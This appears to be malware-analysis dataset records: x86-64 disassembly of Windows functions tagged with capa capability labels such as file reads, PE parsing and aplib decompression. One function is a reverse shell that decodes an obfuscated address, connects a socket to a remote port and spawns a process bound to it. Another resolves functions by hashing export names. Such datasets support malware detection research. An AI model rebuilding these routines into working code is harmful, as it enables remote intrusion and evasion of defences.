joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140050f30
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov r10, rdx
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rdi, [rbp + 0x30]
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
xor esi, esi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
mov rcx, r10
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140051099
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], si
mov rdx, qword [rsp + 0x20]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp word [rdx + r8*2], si
jne 0x140050fb4
lea rcx, [rsp + 0x50]
call fcn.140023f10
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rbp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], si
lea rax, [rbp + 0x30]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140051006
mov r8, rdi
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x28]
call fcn.140023f10
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.14001d160
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140051074
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005106f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005106f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
mov rax, rbx
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.1400570a0
mov rbx, qword [rsp + 0x380]
add rsp, 0x350
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rcx, [rbp - 0x30]
call fcn.14001cf10
nop
mov rcx, rax
call fcn.140051540
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14001d000
lea rdx, [0x1400a0bb0]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140052700
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
call qword [0x140088938]
lea rcx, [rbx + 8]
cmp qword [rbx + 0x20], 8
jb 0x14005273a
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14005275d
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400570a0
add rsp, 0x140
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x30]
call fcn.1400237c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14001d160
mov rbx, rax
lea rcx, [rsp + 0xd0]
call fcn.14001cf10
nop
lea rdx, str.Error_when_deleting_file:
mov rcx, rax
call fcn.140024ee0
mov rcx, rax
mov rdx, rbx
call fcn.140031ed0
mov rcx, rax
lea rdx, str.Last_error:
call fcn.140024ee0
mov rcx, rax
lea rdx, [rsp + 0x20]
call fcn.140034840
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14001d000
lea rdx, [0x1400a0bb0]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x1400527f0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rdi, rdx
mov rbx, rcx
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
call qword [0x140088938]
mov rdx, rdi
cmp qword [rdi + 0x18], 8
jb 0x14005282f
mov rdx, qword [rdi]
lea rcx, [rbx + 8]
cmp qword [rbx + 0x20], 8
jb 0x14005283e
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x140052869
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400570a0
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x180
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400237c0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14001d160
mov rdi, rax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x50]
call fcn.1400237c0
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14001d160
mov rbx, rax
lea rcx, [rsp + 0x110]
call fcn.14001cf10
nop
lea rdx, str.Error_when_renaming_file_from
mov rcx, rax
call fcn.140024ee0
mov rcx, rax
mov rdx, rbx
call fcn.140031ed0
mov rcx, rax
call fcn.140052ea0
mov rcx, rax
mov rdx, rdi
call fcn.140031ed0
mov rcx, rax
lea rdx, str.Last_error:
call fcn.140024ee0
mov rcx, rax
lea rdx, [rsp + 0x20]
call fcn.140034840
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.14001d000
lea rdx, [0x1400a0bb0]
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x1400529b0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov esi, r8d
mov rdi, rdx
mov rbx, rcx
mov dword [rsp + 0x38], r8d
mov dword [rsp + 0x30], 0
test rdx, rdx
je 0x140052a3d
mov edx, 0xc0000004
mov r9d, 2
call fcn.140052450
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, esi
mov rdx, rdi
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140052a78
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400570a0
add rsp, 0x170
pop rdi
pop rsi
pop rbx
ret
lea rdx, str.Invalid_data_passed
lea rcx, [rsp + 0x48]
call fcn.1400239a0
nop
mov dword [rsp + 0x30], 1
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.1400260f0
lea rdx, [0x1400a0f00]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x48]
call fcn.1400237c0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.14001d160
mov rbx, rax
lea rcx, [rsp + 0x100]
call fcn.14001cf10
nop
mov rcx, rax
call fcn.140053050
mov rcx, rax
lea rdx, [rsp + 0x38]
call fcn.14004af70
mov rcx, rax
lea rdx, str._bytes_to_file
call fcn.140024ee0
mov rcx, rax
mov rdx, rbx
call fcn.140031ed0
mov rcx, rax
lea rdx, str.Last_error:
call fcn.140024ee0
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.140034840
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.14001d000
lea rdx, [0x1400a0bb0]
lea rcx, [rsp + 0xa0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140052b20
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
mov dword [rsp + 0x30], 0
test rdx, rdx
je 0x140052bde
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x140088938]
cmp eax, edi
jb 0x140052caa
mov rax, qword [rbx + 0x28]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140052b89
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x18]
call qword [0x140088938]
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rbx
call fcn.140052450
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, edi
mov rdx, rsi
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140052c19
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400570a0
add rsp, 0x170
pop rdi
pop rsi
pop rbx
ret
lea rdx, str.Invalid_data_passed
lea rcx, [rsp + 0x40]
call fcn.1400239a0
nop
mov dword [rsp + 0x30], 1
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400260f0
lea rdx, [0x1400a0f00]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
lea rdx, [rbx + 8]
lea rcx, [rsp + 0x40]
call fcn.1400237c0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14001d160
mov rbx, rax
lea rcx, [rsp + 0x100]
call fcn.14001cf10
nop
lea rdx, str.Error_when_reading_file
mov rcx, rax
call fcn.140024ee0
mov rcx, rax
mov rdx, rbx
call fcn.140031ed0
mov rcx, rax
lea rdx, str.Last_error:
call fcn.140024ee0
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.140034840
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.14001d000
lea rdx, [0x1400a0bb0]
lea rcx, [rsp + 0xa0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Invalid_size_passed
lea rcx, [rsp + 0x40]
call fcn.1400239a0
nop
mov dword [rsp + 0x30], 2
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400260f0
lea rdx, [0x1400a0f00]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140055d80
Capabilities:
Print debug messages

Disassembly:
mov r11, rsp
push rsi
push r14
sub rsp, 0x58
mov rax, qword [0x1400a5038]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r14, qword [rdx + 0x10]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov rsi, rdx
sub rax, r14
cmp rax, 2
jb 0x140055f38
cmp qword [rdx + 0x18], 8
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rdi
mov qword [r11 - 0x18], r15
jb 0x140055dd4
mov rsi, qword [rdx]
xor r15d, r15d
lea rbp, [r14 + 2]
mov ebx, 7
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r15
lea rdi, [rsp + 0x20]
cmp rbp, rbx
jbe 0x140055e7f
mov rbx, rbp
or rbx, 7
cmp rbx, rcx
jbe 0x140055e0d
mov rbx, rcx
lea rcx, [r15 - 2]
jmp 0x140055e3c
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x140055f32
add rcx, rcx
cmp rcx, 0x1000
jb 0x140055e68
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140055f32
mov rcx, rax
call fcn.1400570dc
test rax, rax
je 0x140055ef7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140055e7a
test rcx, rcx
je 0x140055e77
call fcn.1400570dc
mov rdi, rax
jmp 0x140055e7a
mov rdi, r15
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x38], rbx
mov rdx, rsi
lea rbx, [r14 + r14]
mov qword [rsp + 0x30], rbp
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbx + rdi], 0xa000d
lea rcx, [rsp + 0x20]
mov word [rdi + rbp*2], r15w
cmp qword [rsp + 0x38], 8
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140055f03
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055efe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140055efe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400570c4
mov rdi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400570a0
add rsp, 0x58
pop r14
pop rsi
ret
call fcn.14001ca90
int3
call fcn.14001cb30
int3
Function at 0x1400010f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create process on windows
Create tcp socket
Encode data using xor
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov ecx, 0x202
mov dword [rbp + 8], 0x332c303b
lea rdx, [0x140004690]
mov dword [rbp + 0xc], 0x302c3a34
mov dword [rbp + 0x10], 0x332c3b32
mov word [rbp + 0x14], 0x3231
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x115c
mov word [0x140004898], bx
mov qword [0x140004688], rax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000489a], ax
lea rcx, [rbp + 7]
mov al, 0x33
nop dword [rax]
xor al, bl
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140001190
lea rcx, [rbp + 7]
call section..text
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov rcx, qword [0x140004688]
lea rdx, [0x140004898]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov dword [0x14000489c], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140004688]
lea r8, [rbp + 0x17]
xorps xmm0, xmm0
mov qword [0x140004890], rax
movups xmmword [0x140004880], xmm0
mov qword [0x140004888], rax
mov rdx, rdi
movups xmmword [0x140004830], xmm0
mov dword [0x140004830], 0x68
mov ecx, WSAStartup
movups xmmword [0x140004860], xmm0
mov dword [0x14000486c], 0x100
mov qword [0x140004880], rax
movups xmmword [0x140004840], xmm0
mov dword [rbp + 0x19], 0x75006d
movups xmmword [0x140004850], xmm0
mov dword [rbp + 0x1d], 0x700067
movups xmmword [0x140004870], xmm0
mov dword [rbp + 0x21], 0x6a0071
mov dword [rbp + 0x25], 0x6e0067
mov dword [rbp + 0x29], 0x2c006e
mov dword [rbp + 0x2d], 0x7a0067
mov dword [rbp + 0x31], 0x220067
mov dword [rbp + 0x35], 0x2f0022
mov dword [rbp + 0x39], 0x6d004c
mov dword [rbp + 0x3d], 0x7a0047
mov dword [rbp + 0x41], 0x76006b
nop dword [rax + rax]
xor cx, bx
lea rdx, [rdx + 1]
mov word [r8], cx
lea r8, [rbp + 0x17]
movzx eax, word [r8 + rdx*2]
lea r8, [r8 + rdx*2]
movzx ecx, ax
test ax, ax
jne 0x1400012a0
lea rax, [0x140004670]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x17]
lea rax, [0x140004830]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001be8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c32
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c34
xor al, al
add rsp, 0x28
ret

Function at 0x18110a058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x18110a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18110a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18110a06f
add dl, dl
jne 0x18110a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18110a0f6
xor eax, eax
add dl, dl
jne 0x18110a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18110a1ad
add dl, dl
jne 0x18110a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18110a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18110a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18110a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18110a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18110a07e
mov eax, 1
add dl, dl
jne 0x18110a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18110a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18110a0fb
sub eax, ebx
mov ebx, 1
jne 0x18110a14c
mov ecx, 1
add dl, dl
jne 0x18110a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18110a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18110a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18110a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18110a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18110a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18110a15d
cmp eax, 0x7d00
jae 0x18110a19b
cmp eax, 0x500
jb 0x18110a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18110a07e
cmp eax, 0x7f
ja 0x18110a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18110a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18110a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18110a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180004000
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x13e0
call fcn.18000b350
sub rsp, rax
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], r12w
lea r8d, [r12 + 0x24]
lea rdx, str.abcdefghijklmnopqrstuvwxyz0123456789
lea rcx, [rsp + 0x28]
call fcn.180001f30
nop
mov qword [rsi], r12
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 7
mov word [rsi], r12w
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call fcn.180016430
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
mov eax, ecx
inc rbx
cmp rbx, 0x270
jb 0x180004091
mov dword [rsp + 0x50], 0x270
mov ebx, dword [rsp + 0x38]
dec ebx
mov ebp, 6
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x28]
nop
cmp ebx, 0xffffffff
jne 0x1800040e3
lea rcx, [rsp + 0x50]
call fcn.180008390
mov edx, eax
jmp 0x180004121
lea edi, [rbx + 1]
mov ecx, r12d
mov eax, r12d
test ebx, ebx
je 0x180004101
lea rcx, [rsp + 0x50]
call fcn.180008390
mov ecx, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov r8d, eax
xor edx, edx
mov eax, ecx
div edi
cmp eax, r8d
jb 0x18000411b
cmp r9d, ebx
jne 0x1800040e6
xor edx, edx
mov eax, ecx
div edi
lea rcx, [rsp + 0x28]
cmp r15, 8
cmovae rcx, r14
movsxd rax, edx
movzx r9d, word [rcx + rax*2]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
cmp rcx, rdx
jae 0x180004164
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 8
jb 0x180004157
mov rax, qword [rsi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000416c
mov rcx, rsi
call fcn.180007820
sub rbp, 1
jne 0x1800040d0
cmp r15, 8
jb 0x1800041ad
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x1800041a5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800041cc
mov rcx, r14
call fcn.18000ab38
mov rax, rsi
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.180011c44
int3
Function at 0x180008390
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x1800083f1
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x1800083b0
mov ecx, dword [r10]
jmp 0x1800084da
cmp ecx, 0x4e0
jb 0x1800084da
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x180008410
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x180008460
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x180011f54
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x180011e2b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180011e2b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180011e2b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180011e2b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180011e2b
cmp dword [rcx + 0x84], 0xe
jbe 0x180011e2b
cmp dword [rcx + 0xf8], 0
je 0x180011e2b
mov ecx, ebx
call fcn.180011ecc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.180011cbc
cmp dword [rbp + 0x20], 0
je 0x180011e78
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180011e80
int3
xor r8d, r8d
xor edx, edx
jmp 0x180011dc4
Function at 0x140001820
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbx, rcx
call fcn.140001680
mov r12, rax
test rax, rax
je 0x1400019d0
mov rcx, rbx
call fcn.140001550
mov ebp, eax
movsxd rax, dword [r12 + 0x3c]
mov r13d, dword [r12 + rax + 0x88]
add r13, r12
mov edx, dword [r13 + 0x18]
mov eax, dword [r13 + 0x20]
test edx, edx
je 0x1400019d0
lea r15, [r12 + rax]
lea rax, [rsp + 0x3f]
mov rdi, qword [0x140246b40]
xor esi, esi
mov qword [rsp + 0x28], rax
jmp 0x1400018be
mov rdx, qword [rsp + 0x28]
mov r8d, 1
call fcn.140100380
mov rcx, rbx
call fcn.140001550
cmp eax, ebp
je 0x140001959
add rsi, 1
cmp esi, dword [r13 + 0x18]
jae 0x1400019d0
mov ebx, dword [r15 + rsi*4]
add rbx, r12
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov rdx, rbx
mov rcx, rdi
mov r8, rax
call fcn.140100380
mov r8d, 0x11
lea rdx, str.__Hash_of_fName:
mov rcx, rdi
call fcn.140100380
mov rcx, rbx
call fcn.140001550
mov rcx, rdi
mov edx, eax
call fcn.1400a82c0
mov r8d, 8
lea rdx, str.__Hash:
mov r14, rax
mov rcx, rax
call fcn.140100380
mov rcx, r14
mov edx, ebp
call fcn.1400a82c0
mov byte [rsp + 0x3f], 0xa
mov rcx, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
cmp qword [rcx + rax + 0x10], 0
jne 0x140001890
mov edx, 0xa
call fcn.1400a6b40
mov rcx, rbx
call fcn.140001550
cmp eax, ebp
jne 0x1400018b0
mov eax, dword [r13 + 0x24]
lea rdx, [r12 + rsi*2]
movzx edx, word [rdx + rax]
mov eax, dword [r13 + 0x1c]
lea rdx, [r12 + rdx*4]
mov ebx, dword [rdx + rax]
xor eax, eax
add rbx, r12
jmp 0x14000198e
